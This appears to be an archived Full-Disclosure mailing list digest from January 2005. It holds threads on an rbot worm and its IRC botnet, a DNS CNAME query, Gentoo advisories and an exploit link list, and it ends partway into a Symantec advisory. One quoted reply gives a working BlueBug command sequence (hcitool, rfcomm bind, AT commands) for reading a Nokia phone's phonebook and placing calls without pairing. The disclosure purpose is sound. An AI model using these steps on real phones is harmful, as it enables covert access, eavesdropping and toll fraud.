Subject: [Full-Disclosure] Full-Disclosure] SQL injection worm ?
Message-ID: <9b13f6c1050105115721dcdfbd@mail.gmail.com>

Maxime Ducharme mducharme at cybergeneration.com  wrote:

> 24.164.202.24 is on rr.com networks, they have also been advised.
> 
> I know rbot.exe is known to be Randex worm, but i'd like that have
> some other results / analysis.

What i see is that this rBot.exe acts like regular rbot/sdbot


all the best,

W.

ps. kaspersky also agrees with me : Backdoor.Win32.Rbot.gen


From mmadison at fnni.com  Wed Jan  5 20:12:35 2005
From: mmadison at fnni.com (Madison, Marc)
Date: Wed, 5 Jan 2005 14:12:35 -0600
Subject: [Full-Disclosure] Possible DNS compromise/poisoning?
Message-ID: <DEDFD939A181F94AAF3D965C58B7AADC0D595E@001fntcex01.fnb.fnni.com>

This is the correct information for MS.  Perform a search on the address
obtained in your dns query to confirm.



-----Original Message-----
From: full-disclosure-bounces at lists.netsys.com
[mailto:full-disclosure-bounces at lists.netsys.com] On Behalf Of
nicholasnam at hush.com
Sent: Wednesday, January 05, 2005 8:45 AM
To: full-disclosure at lists.netsys.com
Subject: [Full-Disclosure] Possible DNS compromise/poisoning?

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Is anyone else seeing this:

- --SNIP--
;; QUESTION SECTION:
;www.microsoft.com.             IN      A

;; ANSWER SECTION:
www.microsoft.com.      2415    IN      CNAME
www.microsoft.com.nsatc.net.
- --SNIP--

Notice that www.microsoft.com is a cname for
www.microsoft.com.nsatc.net.  It's not limited to www.microsoft.com and
to the best of my knowledge the correct web content is displayed.
-----BEGIN PGP SIGNATURE-----
Note: This signature can be verified at https://www.hushtools.com/verify
Version: Hush 2.4

wkYEARECAAYFAkHb/bwACgkQQOst28rex96r7wCgsFrpGByDC4YOskegpoIOetZsfMQA
oIqgBD6fqzV1t57I/Yh+ayae4Z/Z
=xvDv
-----END PGP SIGNATURE-----

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html





From measl at mfn.org  Wed Jan  5 20:49:49 2005
From: measl at mfn.org (J.A. Terranson)
Date: Wed, 5 Jan 2005 14:49:49 -0600 (CST)
Subject: [Full-Disclosure] Possible DNS compromise/poisoning?
In-Reply-To: <200501051445.j05EjDkq077399@mailserver3.hushmail.com>
References: <200501051445.j05EjDkq077399@mailserver3.hushmail.com>
Message-ID: <20050105144845.U42460@ubzr.zsa.bet>


On Wed, 5 Jan 2005 nicholasnam at hush.com wrote:

> -----BEGIN PGP SIGNED MESSAGE-----
> Hash: SHA1
>
> Is anyone else seeing this:
>
> - --SNIP--
> ;; QUESTION SECTION:
> ;www.microsoft.com.             IN      A
>
> ;; ANSWER SECTION:
> www.microsoft.com.      2415    IN      CNAME
> www.microsoft.com.nsatc.net.



Oh yeah.  Now, for the real fun:

$ whois nsatc.net
   Organization:
      SAVVIS Communications
      nsatc host
      225 W Hillcrest Dr, Ste 250
      Thousand Oaks, CA 91360
      US
      Phone: (805) 370 2100
      Fax..: (805) 370 2101
      Email: nsatc-host at savvis.net

   Registrar Name....: Register.com
   Registrar Whois...: whois.register.com
   Registrar Homepage: http://www.register.com

   Domain Name: NSATC.NET

      Created on..............: Wed, Sep 26, 2001
      Expires on..............: Wed, Sep 26, 2007
      Record last updated on..: Thu, Dec 09, 2004

Looks like they're, um, having hosting issues :-)

-- 
Yours,

J.A. Terranson
sysadmin at mfn.org
0xBD4A95BF

 Civilization is in a tailspin - everything is backwards, everything is
upside down- doctors destroy health, psychiatrists destroy minds, lawyers
destroy justice, the major media destroy information, governments destroy
freedom and religions destroy spirituality - yet it is claimed to be
healthy, just, informed, free and spiritual. We live in a social system
whose community, wealth, love and life is derived from alienation,
poverty, self-hate and medical murder - yet we tell ourselves that it is
biologically and ecologically sustainable.

The Bush plan to screen whole US population for mental illness clearly
indicates that mental illness starts at the top.

Rev Dr Michael Ellner


From pauls at utdallas.edu  Wed Jan  5 21:28:24 2005
From: pauls at utdallas.edu (Paul Schmehl)
Date: Wed, 05 Jan 2005 15:28:24 -0600
Subject: [Full-Disclosure] Pattern matching search tool
Message-ID: <FC3E807B11C7C201229C5441@utd49554.utdallas.edu>

Is anyone aware of a search tool (not Google or search engine aggregation 
software) that could be used to search our network for "interesting stuff"? 
It needs to be capable of doing pattern matching similar to perl's regular 
expression stuff.

I'm looking for something that, for example, could tell me all the machines 
on our network that are running copies of phpBB (obvious reasons) so that 
we could quickly identify potential problem areas.

Paul Schmehl (pauls at utdallas.edu)
Adjunct Information Security Officer
The University of Texas at Dallas
AVIEN Founding Member
http://www.utdallas.edu


From jaervosz at gentoo.org  Wed Jan  5 21:53:22 2005
From: jaervosz at gentoo.org (Sune Kloppenborg Jeppesen)
Date: Wed, 5 Jan 2005 22:53:22 +0100
Subject: [Full-Disclosure] [ GLSA 200501-05 ] mit-krb5: Heap overflow in
	libkadm5srv
Message-ID: <200501052253.26157.jaervosz@gentoo.org>

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Gentoo Linux Security Advisory                           GLSA 200501-05
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
                                            http://security.gentoo.org/
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

  Severity: High
     Title: mit-krb5: Heap overflow in libkadm5srv
      Date: January 05, 2005
      Bugs: #75143
        ID: 200501-05

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Synopsis
========

The MIT Kerberos 5 administration library (libkadm5srv) contains a heap
overflow that could lead to execution of arbitrary code.

Background
==========

MIT krb5 is the free implementation of the Kerberos network
authentication protocol by the Massachusetts Institute of Technology.

Affected packages
=================

    -------------------------------------------------------------------
     Package             /  Vulnerable  /                   Unaffected
    -------------------------------------------------------------------
  1  app-crypt/mit-krb5       < 1.3.6                         >= 1.3.6

Description
===========

The MIT Kerberos 5 administration library libkadm5srv contains a heap
overflow in the code handling password changing.

Impact
======

Under specific circumstances an attacker could execute arbitary code
with the permissions of the user running mit-krb5, which could be the
root user.

Workaround
==========

There is no known workaround at this time.

Resolution
==========

All mit-krb5 users should upgrade to the latest version:

    # emerge --sync
    # emerge --ask --oneshot --verbose ">=app-crypt/mit-krb5-1.3.6"

References
==========

  [ 1 ] CAN 2004-1189
        http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1189

Availability
============

This GLSA and any updates to it are available for viewing at
the Gentoo Security Website:

  http://security.gentoo.org/glsa/glsa-200501-05.xml

Concerns?
=========

Security is a primary focus of Gentoo Linux and ensuring the
confidentiality and security of our users machines is of utmost
importance to us. Any security concerns should be addressed to
security at gentoo.org or alternatively, you may file a bug at
http://bugs.gentoo.org.

License
=======

Copyright 2005 Gentoo Foundation, Inc; referenced text
belongs to its owner(s).

The contents of this document are licensed under the
Creative Commons - Attribution / Share Alike license.

http://creativecommons.org/licenses/by-sa/2.0
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 189 bytes
Desc: not available
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050105/a2856f95/attachment.bin 

From koon at gentoo.org  Wed Jan  5 22:05:43 2005
From: koon at gentoo.org (Thierry Carrez)
Date: Wed, 05 Jan 2005 23:05:43 +0100
Subject: [Full-Disclosure] [ GLSA 200501-06 ] tiff: New overflows in image
	decoding
Message-ID: <41DC64B7.5080808@gentoo.org>

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Gentoo Linux Security Advisory                           GLSA 200501-06
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
                                            http://security.gentoo.org/
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

  Severity: Normal
     Title: tiff: New overflows in image decoding
      Date: January 05, 2005
      Bugs: #75213
        ID: 200501-06

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Synopsis
========

An integer overflow has been found in the TIFF library image decoding
routines and the tiffdump utility, potentially allowing arbitrary code
execution.

Background
==========

The TIFF library contains encoding and decoding routines for the Tag
Image File Format. It is called by numerous programs, including GNOME
and KDE applications, to interpret TIFF images.

Affected packages
=================

    -------------------------------------------------------------------
     Package          /  Vulnerable  /                      Unaffected
    -------------------------------------------------------------------
  1  media-libs/tiff     < 3.7.1-r1                        >= 3.7.1-r1

Description
===========

infamous41md found a potential integer overflow in the directory entry
count routines of the TIFF library (CAN-2004-1308). Dmitry V. Levin
found another similar issue in the tiffdump utility (CAN-2004-1183).

Impact
======

A remote attacker could entice a user to view a carefully crafted TIFF
image file, which would potentially lead to execution of arbitrary code
with the rights of the user viewing the image. This affects any program
that makes use of the TIFF library, including many web browsers or mail
readers.

Workaround
==========

There is no known workaround at this time.

Resolution
==========

All TIFF library users should upgrade to the latest version:

    # emerge --sync
    # emerge --ask --oneshot --verbose ">=media-libs/tiff-3.7.1-r1"

References
==========

  [ 1 ] CAN-2004-1183
        http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1183
  [ 2 ] CAN-2004-1308
        http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1308
  [ 3 ] iDEFENSE Advisory

http://www.idefense.com/application/poi/display?id=174&type=vulnerabilities

Availability
============

This GLSA and any updates to it are available for viewing at
the Gentoo Security Website:

  http://security.gentoo.org/glsa/glsa-200501-06.xml

Concerns?
=========

Security is a primary focus of Gentoo Linux and ensuring the
confidentiality and security of our users machines is of utmost
importance to us. Any security concerns should be addressed to
security at gentoo.org or alternatively, you may file a bug at
http://bugs.gentoo.org.

License
=======

Copyright 2005 Gentoo Foundation, Inc; referenced text
belongs to its owner(s).

The contents of this document are licensed under the
Creative Commons - Attribution / Share Alike license.

http://creativecommons.org/licenses/by-sa/2.0

-------------- next part --------------
A non-text attachment was scrubbed...
Name: signature.asc
Type: application/pgp-signature
Size: 256 bytes
Desc: OpenPGP digital signature
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050105/42b99655/attachment.bin 

From synackurg at gmail.com  Wed Jan  5 23:16:23 2005
From: synackurg at gmail.com (Dave Bryan)
Date: Wed, 5 Jan 2005 17:16:23 -0600
Subject: [Full-Disclosure] Re: Bluetooth: BlueSnarf and BlueBug Full
	Disclusore
In-Reply-To: <41DA9E2B.4000908@freebsd.lublin.pl>
References: <41D52185.6050001@thebunker.net>
	<41DA9E2B.4000908@freebsd.lublin.pl>
Message-ID: <a585d3ba050105151635d95626@mail.gmail.com>

The reason that it is called BlueBug is because you are literally
bugging (Voice Calls)  an unsuspecting victims pocket.  Yes this is a
back door of sorts...


On Tue, 04 Jan 2005 14:46:19 +0100, Przemyslaw Frasunek
<venglin at freebsd.lublin.pl> wrote:
> Adam Laurie napisa?(a):
>  > Details of the attacks were disclosed at the Chaos Computer Club's annual
>  > congress in Berlin - 21C3:
> 
> According to the [1], not all details were disclosed. Actually, there is no
> reason for keeping them secret here, while they are well known and actively
> exploited in the blackhat community.
> 
> The Bluebug, as described on [1] is trivially exploitable on some non-Symbian
> Nokia phones. It allows attacker to create serial profile connection without
> pairing or asking for permission, therefore it gives unauthorized access to all
> AT commands. It is possible to read/delete/send SMS messages, add/view/delete
> phonebook entries, change call diverts, initiate voice or data call.
> 
> Demonstration on Nokia 6310i:
> 
> laptop:~# hcitool scan
> Scanning ...
>          00:60:57:38:8C:D8       Nokia 6310i
> laptop:~# rfcomm bind /dev/rfcomm0 00:60:57:38:8C:D8 17
> 
> Now you can use plain AT commands, as described in manual [2] or Gnokii [3], for
> example:
> 
> laptop:~# cu -l rfcomm0 -s 9600
> Connected.
> [ATE1]
> OK
> ATI
> Nokia
> 
> OK
> AT+CPBS?
> +CPBS: "SM",0,100
> 
> OK
> AT+CPBR=?
> +CPBR: (1-100),48,18
> 
> OK
> ATDT+48609xxxxxx
> OK
> 
> As you can see, the bug is really trivial and looks rather like backdoor.
> 
> [1] - http://www.thebunker.net/security/bluetooth.htm
> [2] - http://ncsp.forum.nokia.com/download/?asset_id=11579;ref=devx
> [3] - http://www.gnokii.org/
> 
> --
> * Fido: 2:480/124 ** WWW: http://www.frasunek.com/ ** NICHDL: PMF9-RIPE *
> * JID: venglin at jabber.atman.pl ** PGP ID: 2578FCAD ** HAM-RADIO: SQ8JIV *
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.netsys.com/full-disclosure-charter.html
>



From bugtraq at cgisecurity.net  Wed Jan  5 23:27:25 2005
From: bugtraq at cgisecurity.net (bugtraq at cgisecurity.net)
Date: Wed, 5 Jan 2005 18:27:25 -0500 (EST)
Subject: [Full-Disclosure] Re: SQL injection worm ?
In-Reply-To: <022d01c4f34b$311d3130$b000a8c0@cybergeneration.com> from "Maxime
	Ducharme" at Jan 05, 2005 12:22:54 PM
Message-ID: <20050105232725.95724.qmail@cgisecurity.net>

Here is some additional information.

An irc bot is launched and joins a channel named #!processor on 170.94.206.13 where about 118 hosts
are currently idling.

??? [Users(#!processor:38)] 
[ [UNC]84356] [ [UNC]85751] [ [UNC]85463] [ [UNC]42287] [ [UNC]29288] 
[ [UNC]54723] [ h         ] [ [UNC]27930] [ [UNC]82158] [ [UNC]77161] 
[ [UNC]91371] [v[UNC]88402] [ amax      ] [ [UNC]53174] [v[UNC]94664] 
[ [UNC]26664] [ [UNC]91108] [ [UNC]95532] [ [UNC]10060] [ [UNC]85878] 
[ [UNC]43397] [v[UNC]36335] [v[UNC]55167] [ [UNC]60320] [v[UNC]93886] 
[v[UNC]69068] [ [UNC]87434] [v[UNC]32714] [v[UNC]67272] [ [UNC]70001] 
[v[UNC]52515] [ [UNC]36701] [ [UNC]17521] [ [UNC]61060] [ [UNC]79272] 
[ [UNC]22161] [v[UNC]43526] [ [UNC]69173] 
??? [Users(#!processor:37)] 
[ [UNC]59399] [ [UNC]99219] [ [UNC]24943] [v[UNC]86397] [v[UNC]28185] 
[ [UNC]29805] [ [UNC]35670] [ [UNC]07515] [ [UNC]52312] [v[UNC]62625] 
[v[UNC]73047] [ [UNC]98522] [ [UNC]25010] [ [UNC]63090] [ [UNC]50668] 
[ [UNC]68982] [ [UNC]29779] [ [UNC]54748] [ [UNC]15935] [ [UNC]43952] 
[ [UNC]98525] [ [UNC]47729] [ [UNC]03825] [ [UNC]35432] [ [UNC]95447] 
[ [UNC]15023] [v[UNC]77889] [v[UNC]85566] [ [UNC]74597] [ [UNC]81809] 
[ [UNC]16345] [v[UNC]58170] [ [UNC]60124] [ [UNC]15746] [ [UNC]90485] 
[ [UNC]23873] [ [UNC]62313] 
??? [Users(#!processor:37)] 
[ [UNC]53226] [ [UNC]35507] [ [UNC]96122] [ [UNC]01170] [ [UNC]38323] 
[v[UNC]75392] [ [UNC]52691] [ [UNC]14339] [v[UNC]94281] [v[UNC]46040] 
[ [UNC]89112] [ [UNC]69402] [ [UNC]48153] [ [UNC]43861] [ [UNC]49034] 
[ [UNC]78539] [ [UNC]35814] [ [UNC]32213] [v[UNC]17619] [ [UNC]65431] 
[ [UNC]17094] [ [UNC]76164] [ [UNC]94358] [ [UNC]07494] [ [UNC]62847] 
[ [UNC]59247] [ [UNC]40463] [ [UNC]15300] [ [UNC]63711] [ [UNC]49462] 
[ [UNC]29512] [ [UNC]66122] [ [UNC]37752] [ [UNC]18282] [ [UNC]59637] 
[ [UNC]07444] [v[UNC]04861] 
??? [Users(#!processor:6)] 
[v[UNC]70180] [ [UNC]49130] [ [UNC]91806] [ [UNC]59229] [ [UNC]26914] 
[ [UNC]81777] 
??? Channel #!processor was created at Tue Jan  4 23:10:07 2005
??? BitchX: Join to #!processor was synched in 0.376 secs!!
??????---?--??-??????---?--??-?????????--- --  -
| amax (zzyvg at 39FC4D2A.FA0F1DDD.7D6B7CFD.IP) (unknown)
? ircname  : [UNC]66778
| channels : #!processor 
? server   : shellcodewarez.info (ScW Network)
: idle     : 4 hours 56 mins 28 secs (signon: Wed Jan  5 09:31:46 2005)
[[UNC]48153     ] [[UNC]24943     ] [[UNC]70180     ] [[UNC]23873     ]
[[UNC]07515     ] [[UNC]37752     ] [[UNC]01170     ] [[UNC]59247     ]
[[UNC]81809     ] [[UNC]70001     ] [[UNC]40463     ] [[UNC]79272     ]
[[UNC]49462     ] [[UNC]52691     ] [[UNC]15746     ] [[UNC]74597     ]
[[UNC]29805     ] [[UNC]50668     ] [[UNC]69068     ] [[UNC]49130     ]
[[UNC]76164     ] [[UNC]85751     ] [[UNC]25010     ] [[UNC]82158     ]
[[UNC]42287     ] [[UNC]53226     ] [[UNC]94664     ] [[UNC]86397     ]
[[UNC]99219     ] [[UNC]81777     ] [[UNC]62847     ] [[UNC]94358     ]
[[UNC]61060     ] [[UNC]93886     ] [[UNC]29288     ] [[UNC]27930     ]
[[UNC]54723     ] [[UNC]62313     ] [[UNC]26664     ] [[UNC]07444     ]
[[UNC]52515     ] [[UNC]07494     ] [[UNC]78539     ] [[UNC]35507     ]
[[UNC]62625     ] [[UNC]91806     ] [[UNC]29779     ] [[UNC]59399     ]
[[UNC]18282     ] [[UNC]60320     ] [[UNC]66122     ] [[UNC]91371     ]
[[UNC]43397     ] [[UNC]26914     ] [[UNC]65431     ] [[UNC]15935     ]
[[UNC]17521     ] [[UNC]55167     ] [[UNC]46040     ] [[UNC]47729     ]
[[UNC]88402     ] [[UNC]32213     ] [[UNC]94281     ] [[UNC]63090     ]
[[UNC]96122     ] [[UNC]53174     ] [[UNC]03825     ] [[UNC]77161     ]
[[UNC]17094     ] [[UNC]43526     ] [[UNC]36701     ] [[UNC]36335     ]
[[UNC]85463     ] [[UNC]35814     ] [[UNC]69173     ] [[UNC]22161     ]
[[UNC]89112     ] [[UNC]10060     ] [[UNC]91108     ] [[UNC]17619     ]
[[UNC]68982     ] [[UNC]38323     ] [[UNC]43861     ] [[UNC]90485     ]
[[UNC]87434     ] [[UNC]14339     ] [[UNC]59229     ] [[UNC]52312     ]
[[UNC]67272     ] [[UNC]75392     ] [[UNC]58170     ] [[UNC]54748     ]
[[UNC]28185     ] [[UNC]63711     ] [[UNC]04861     ] [[UNC]43952     ]
[[UNC]32714     ] [[UNC]15300     ] [[UNC]77889     ] [[UNC]15023     ]
[[UNC]49034     ] [[UNC]69402     ] [[UNC]85878     ] [[UNC]95447     ]
[[UNC]98522     ] [[UNC]35670     ] [[UNC]73047     ] [[UNC]59637     ]
[[UNC]16345     ] [[UNC]85566     ] [[UNC]35432     ] [[UNC]98525     ]
[[UNC]84356     ] [[UNC]29512     ] [[UNC]60124     ] [[UNC]95532     ]
[[UNC]29805     ] [[UNC]29288     ] [[UNC]29779     ] [[UNC]29512     ]
[[UNC]29805     ] [[UNC]29288     ] [[UNC]29779     ] [[UNC]29512     ]
??????---?--??-??????---?--??-?????????--- --  -
| [UNC]29805 (kczlexy at 205F319C.BAFB8B13.4E5CAB49.IP) (unknown)
? ircname  : [UNC]29805
| channels : #!processor 
? server   : shellcodewarez.info (ScW Network)
: idle     : 4 hours 57 mins 11 secs (signon: Wed Jan  5 08:02:24 2005)
??????---?--??-??????---?--??-?????????--- --  -
| [UNC]69402 (wahgb at 7805FEF.DBD3D7BD.1E420BBA.IP) (unknown)
? ircname  : [UNC]69402
| channels : #!processor 
? server   : shellcodewarez.info (ScW Network)
: idle     : 4 hours 57 mins 9 secs (signon: Tue Jan  4 23:40:01 2005)
??????---?--??-??????---?--??-?????????--- --  -
| [UNC]73047 (vjfud at BFE013F.3F070E03.2BA09B8.IP) (unknown)
? ircname  : [UNC]73047
| channels : +#!processor 
? server   : shellcodewarez.info (ScW Network)
: idle     : 4 hours 57 mins 26 secs (signon: Wed Jan  5 07:48:45 2005)

As you can see they are masking the ip addresses.


Channel      Users   Topic                                   
#wow!            1   [+nt]                                   
#^_^            10                                           
#!processor    118   [+smt]                                  
##forbot        24                                           
##fbot           6                                           

Only about 5 public channels though.
Going into some of the other channels yield what appear to be more bots.

??? [Users(##forbot:25)] 
[ [UNC]12312] [ [hax]-cncw] [ [hax]-jvdr] [ [hax]-omaf] [ [hax]-dyfv] 
[ [hax]-cpaq] [ [hax]-rnpe] [ [hax]-ifsb] [ [hax]-lvvx] [ [hax]-nzez] 
[ [hax]-wftc] [ [hax]-dugg] [ [hax]-cdhp] [ [hax]-pxvh] [ [hax]-qyms] 
[ [hax]-toze] [ [hax]-owlu] [ [hax]-skyj] [ [hax]-aeqo] [ [hax]-obhd] 
[ [hax]-vmlv] [ [hax]-zlnv] [ [hax]-mnfy] [ [hax]-xhqh] [ [hax]-nvdt] 
??? Channel ##forbot was created at Mon Jan  3 19:25:40 2005
??? BitchX: Join to ##forbot was synched in 0.432 secs!!

Users(##fbot:7)] 
[ [UNC]12312] [ [fB]-jdiac] [ [fB]-fxxbw] [ [fB]-iclac] [ [fB]-jwmui] 
[ [fB]-dzyhl] [ [fB]-gvgob] 
??? Channel ##fbot was created at Wed Jan  5 11:39:50 2005

??? [Users(#wow!:2)] 
[ [UNC]12312] [@[XP]|7255 ] 

i??? [Users(#^_^:11)] 
[ [UNC]12312] [ [UNC]73498] [ [UNC]92388] [ [UNC]72772] [ [UNC]71548] 
[ [UNC]25904] [ [UNC]52052] [ [UNC]16003] [ [UNC]68737] [ [UNC]58737] 
[ [UNC]98004] 
??? Channel #^_^ was created at Mon Jan  3 19:25:32 2005



- zeno at cgisecurity.com
http://www.cgisecurity.com



From alain at ait.ac.th  Thu Jan  6 01:55:43 2005
From: alain at ait.ac.th (Alain Fauconnet)
Date: Thu, 6 Jan 2005 08:55:43 +0700
Subject: [Full-Disclosure] Pattern matching search tool
In-Reply-To: <FC3E807B11C7C201229C5441@utd49554.utdallas.edu>
References: <FC3E807B11C7C201229C5441@utd49554.utdallas.edu>
Message-ID: <20050106015543.GB10030@ait.ac.th>

Paul,

On Wed, Jan 05, 2005 at 03:28:24PM -0600, Paul Schmehl wrote:
> Is anyone aware of a search tool (not Google or search engine aggregation 
> software) that could be used to search our network for "interesting stuff"? 
> It needs to be capable of doing pattern matching similar to perl's regular 
> expression stuff.
> 
> I'm looking for something that, for example, could tell me all the machines 
> on our network that are running copies of phpBB (obvious reasons) so that 
> we could quickly identify potential problem areas.

What about running  'ngrep'  (http://ngrep.sourceforge.net/)  on  your
firewall or gateway, any box that can see most of the traffic, or even
on the servers themselves?

Greets,
_Alain_


From aditya.deshmukh at online.gateway.expertworks.net  Thu Jan  6 02:33:39 2005
From: aditya.deshmukh at online.gateway.expertworks.net (ALD, Aditya,
	Aditya Lalit Deshmukh)
Date: Thu, 6 Jan 2005 08:03:39 +0530
Subject: [Full-Disclosure] Possible DNS compromise/poisoning?
In-Reply-To: <200501051445.j05EjDkq077399@mailserver3.hushmail.com>
Message-ID: <!~!UENERkVCMDkAAQACAAAAAAAAAAAAAAAAABgAAAAAAAAA0BKn9uKnWEeCDU7Vx+IAQ8KAAAAQAAAACYs6v4yXwEWnE+oFh03n2AEAAAAA@online.gateway.expertworks.net>

>- --SNIP--
>;; QUESTION SECTION:
>;www.microsoft.com.             IN      A
>
>;; ANSWER SECTION:
>www.microsoft.com.      2415    IN      CNAME
>www.microsoft.com.nsatc.net.
>- --SNIP--
>
>Notice that www.microsoft.com is a cname for
>www.microsoft.com.nsatc.net.  It's not limited to www.microsoft.com
>and to the best of my knowledge the correct web content is
>displayed.


Ms and all other big players have a round robin dns setup to prevent
slowdown of their sites. It this what you are seeing ? 

-aditya


________________________________________________________________________
Delivered using the Free Personal Edition of Mailtraq (www.mailtraq.com)


From aditya.deshmukh at online.gateway.expertworks.net  Thu Jan  6 02:37:13 2005
From: aditya.deshmukh at online.gateway.expertworks.net (ALD, Aditya,
	Aditya Lalit Deshmukh)
Date: Thu, 6 Jan 2005 08:07:13 +0530
Subject: [Full-Disclosure] Pattern matching search tool
In-Reply-To: <FC3E807B11C7C201229C5441@utd49554.utdallas.edu>
Message-ID: <!~!UENERkVCMDkAAQACAAAAAAAAAAAAAAAAABgAAAAAAAAA0BKn9uKnWEeCDU7Vx+IAQ8KAAAAQAAAA5lplkjP/20eX9TyK3ycK1QEAAAAA@online.gateway.expertworks.net>

 

>-----Original Message-----
>From: full-disclosure-bounces at lists.netsys.com 
>[mailto:full-disclosure-bounces at lists.netsys.com] On Behalf Of 
>Paul Schmehl
>Sent: Thursday, January 06, 2005 02:58 AM
>To: full-disclosure at lists.netsys.com
>Subject: [Full-Disclosure] Pattern matching search tool
>
>Is anyone aware of a search tool (not Google or search engine 
>aggregation 
>software) that could be used to search our network for 
>"interesting stuff"? 
>It needs to be capable of doing pattern matching similar to 
>perl's regular 
>expression stuff.
>


Dear paul I think you answered your own question over here - its perl!
However there is another tool ntop that I use quite a lot.


>I'm looking for something that, for example, could tell me all 
>the machines 
>on our network that are running copies of phpBB (obvious 
>reasons) so that 
>we could quickly identify potential problem areas.


This I would use a fine tuned version of snort or 
a http proxy logging all the requests with logwatch watching for the
"intresting stuff"


-aditya



From vertex at securitytrap.com  Thu Jan  6 04:47:58 2005
From: vertex at securitytrap.com (vertex)
Date: Wed, 5 Jan 2005 20:47:58 -0800
Subject: [Full-Disclosure] Securitytrap 2004 Dec Top 20 List - PHP exploit
	on Top
In-Reply-To: <41DC64B7.5080808@gentoo.org>
References: <41DC64B7.5080808@gentoo.org>
Message-ID: <20050106044758.GA2816@securitytrap.com>

Hello,

Securitytrap is a realtime security related mailing list summary site
which includes full-disclosure, bugtraq, osvdb, focus-ids,
packet storm, incidents, etc.

For more information, please visit,

        http://www.securitytrap.com/

Top 20 list,

http://www.securitytrap.com/top20.html

1, K-Otik Exploits: phpBB 2.x with PHP 4.3.9 Remote unserialize Exploit

URL: http://www.k-otik.com/exploits/20041217.phpbbmemorydump.c.php 

2, Pen-TEST: RE: An idiot question

URL: http://www.securitytrap.com/mail/pen-test/2004/Nov/0008.html 

3, Full-disclosure:  New IE / Windoze Zero-Day?

URL: http://www.securitytrap.com/mail/full-disclosure/2004/Dec/0507.html 

4, Security News: Universities struggling with SSL-busting spyware

URL: http://lists.insecure.org/lists/isn/2004/Dec/0006.html 

5, Security News: Hacker Gets 16 Months In Prison

URL: http://lists.insecure.org/lists/isn/2004/Dec/0042.html 

6, vulnwatch: re: How to Break Windows XP SP2 + Internet Explorer 6 SP2

URL: http://lists.insecure.org/lists/vulnwatch/2004/Oct-Dec/0015.html 

7, Security News: Hackers deface county Web site

URL: http://lists.insecure.org/lists/isn/2004/Dec/0043.html 

8, Packetstorm: phpbbquoteflaw.txt

URL: http://packetstormsecurity.org/0412-exploits/phpbbquoteflaw.txt 

9, Full-disclosure:  [HAT-SQUAD] NetCat Remote Critical Vulnerability, Poc inside.

URL: http://www.securitytrap.com/mail/full-disclosure/2004/Dec/0541.html 

10, Incidents: Re: Strange command histories in hacked shell server

URL: http://www.securitytrap.com/mail/incidents/2004/Dec/0036.html 

11, Full-disclosure: Re:  TCP Port 42 port scans?  What the heck over...

URL: http://www.securitytrap.com/mail/full-disclosure/2004/Dec/0221.html 

12, K-Otik Exploits: Santy.A - phpBB 2.0.10 Web Worm Source Code (PoC)

URL: http://www.k-otik.com/exploits/20041222.sanityworm.pl.php 

13, bugtrap: PHPBB worm in action

URL: http://www.securitytrap.com/mail/bugtraq/2004/Dec/0343.html 

14, K-Otik Exploits: phpBB 2.0.10 highlight parameter Remote Execution Exploit

URL: http://www.k-otik.com/exploits/20041122.r57phpbb2010.pl.php 

15, Top20: HoneyPot: New Scan Of The Month : Protected Binary.

URL: http://lists.insecure.org/lists/honeypots/2004/Oct-Dec/0043.html 

16, Microsoft: Microsoft Security Bulletin Summary for December 2004

URL: http://lists.insecure.org/lists/microsoft/2004/Oct-Dec/0005.html 

17, Full-disclosure:  Multiple Backdoors found in eEye Products (IRIS and SecureIIS)

URL: http://www.securitytrap.com/mail/full-disclosure/2004/Dec/0586.html 

18, Full-disclosure:  Windows (XP SP2) Remote code execution with parameters

URL: http://www.securitytrap.com/mail/full-disclosure/2004/Dec/0565.html 

19, Full-disclosure: Re:  To anybody who's offended by my disclosure policy-GET THIS GUYS

URL: http://www.securitytrap.com/mail/full-disclosure/2004/Dec/0244.html 

20, K-Otik Exploits: WS_FTP Server v5.03 Remote buffer overflow Exploit

URL: http://www.k-otik.com/exploits/20041130.IPSWSFTP-exploit.c.php 



From theinsider at 012.net.il  Thu Jan  6 07:20:52 2005
From: theinsider at 012.net.il (Rafel Ivgi, The-Insider)
Date: Thu, 06 Jan 2005 09:20:52 +0200
Subject: [Full-Disclosure] All Symantec Products All Versions Until 2005 -
 Remote Stack Buffer Overflow
Message-ID: <000501c4f3c0$41198b40$f85ab350@noone>

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application:    All Symantec Products All Versions Until 2005
Vendors:         http://www.symantec.com/nav/nav_pro/
Platforms:        Windows
Bug:                 Stack Buffer Overflow
Risk:                Low - Crash - Not Exploitable
Exploitation:     Remote with browser
Date:               10 Apr 2004
Author:             Rafel Ivgi, The-Insider
e-mail:              the_insider at mail.com
web:                 http://theinsider.deep-ice.com

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

1) Introduction
2) Bugs
3) The Code

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

===============
1) Introduction
===============

Symantec's Norton AntiVirus? 2004 Professional is the world?s most trusted
antivirus solution with advanced protection. It protects email, instant
messages,
and other files by removing viruses automatically. Expanded threat detection
alerts
the user to spyware and similar hacking programs. It also supplies advanced
tools for
data recovery and secure file deletion and a license for two computers.

